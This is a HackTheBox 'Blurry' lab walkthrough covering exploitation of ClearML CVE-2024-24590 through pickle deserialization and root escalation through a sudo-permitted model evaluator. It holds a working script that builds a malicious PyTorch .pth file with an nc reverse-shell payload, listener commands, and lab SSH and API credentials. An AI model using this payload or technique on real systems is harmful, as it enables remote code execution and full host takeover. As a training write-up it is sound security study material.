HackTheBox - Blurry

Updated 25-05-2026

This box involves exploiting a known deserialization vulnerability in a self-hosted ML platform, then chaining it with a misconfigured sudo permission to escalate privileges via a malicious PyTorch model file.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ip=10.129.27.17; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-12 14:00 -0400
Nmap scan report for 10.129.27.17
Host is up (0.28s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.64 seconds

Two ports are open: 22 (SSH) and 80 (HTTP). The web server redirects to http://app.blurry.htb/.

Foothold

Host Configuration

Add the initial virtual host to /etc/hosts:

1
$ echo '10.129.27.17 blurry.htb app.blurry.htb' | sudo tee -a /etc/hosts

ClearML Recon

app.blurry.htb runs a ClearML web application. The version is visible in the footer of the Settings page:

  • WebApp: 1.13.1-426
  • Server: 1.13.1-426
  • API: 2.27

ClearML version 1.13.1-426 is vulnerable to CVE-2024-24590 — a critical deserialization flaw in which a maliciously crafted pickle artifact can execute arbitrary code when loaded by any user who accesses the project.

ClearML Setup

Install and configure the clearml client:

1
$ pipx install clearml
1
$ pipx run --spec clearml clearml-init

This prompts for credentials copied from the ClearML dashboard. Navigate to Settings → Workspace Configuration and create new credentials. The credential dialog also reveals two additional subdomains — add them to /etc/hosts before pasting the configuration:

1
$ echo '10.129.27.17 files.blurry.htb api.blurry.htb' | sudo tee -a /etc/hosts

Paste the copied configuration when prompted:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<--SNIP-->

Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration

In settings page, press "Create new credentials", then press "Copy to clipboard".

Paste copied configuration here:
api {
web_server: http://app.blurry.htb
api_server: http://api.blurry.htb
files_server: http://files.blurry.htb
credentials {
"access_key" = "7DI8NWILYRYTINH9RR66"
"secret_key" = "aLOxCmTWwNffo7Bkznwya99wfeL1NoKmJAMxhLJZenTwGWkJ9N"
}
}
Detected credentials key="7DI8NWILYRYTINH9RR66" secret="aLOx***"

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.

Exploiting CVE-2024-24590

Use this PoC to upload a malicious pickle artifact to the target project.

Run the exploit, targeting the "Black Swan" project and specifying a listener address:

1
pipx run --spec clearml python3 exploit.py default "Black Swan" "pwned4" "10.10.16.27" "4444"

Start a listener to catch the reverse shell:

1
$ nc -lnvp 4444

Privilege Escalation

Shell Upgrade via SSH

Retrieve the current user’s private SSH key for a stable shell:

1
2
3
4
5
6
jippity@blurry:~$ cd .ssh
jippity@blurry:~$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxxZ6RXgJ45m3Vao4oXSJBFlk9skeIQw9tUWDo/ZA0WVk0sl5usUV
KYWvWQOKo6OkK23i75...SNIPPED

Save the key locally, set correct permissions, and connect via SSH:

1
2
3
4
5
$ echo '-----BEGIN OPENSSH PRIVATE KEY-----                                      
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEA...SNIPPED' > jippity
$ chmod 600 jippity
$ ssh -i jippity jippity@app.blurry.htb

Sudo Enumeration

Check sudo permissions for the current user:

1
2
3
4
5
6
7
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

The user can run /usr/bin/evaluate_model as root without a password, passing any .pth file under /models/. PyTorch .pth files are serialized Python objects — torch.save/torch.load uses pickle internally, making them susceptible to the same arbitrary code execution as any other pickle deserialization sink.

Malicious PyTorch Model

Create a Python script to generate a malicious .pth file with an embedded reverse shell payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import torch
import torch.nn as nn
import os

class MaliciousModel(nn.Module):
def __init__(self):
super(MaliciousModel, self).__init__()
self.dense = nn.Linear(10, 1)

def forward(self, x):
return self.dense(x)

def __reduce__(self):
# Replace with your IP and port
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.27 4444 >/tmp/f"
return os.system, (cmd,)

# Generate and save malicious model
model = MaliciousModel()
torch.save(model, "malicious.pth")

The __reduce__ method is called during unpickling. By returning os.system paired with the shell command string, the payload executes automatically when torch.load deserializes the file.

Start a listener, then trigger execution with sudo:

1
sudo /usr/bin/evaluate_model /models/malicious.pth

A root reverse shell connects to the listener. Retrieve the root flag.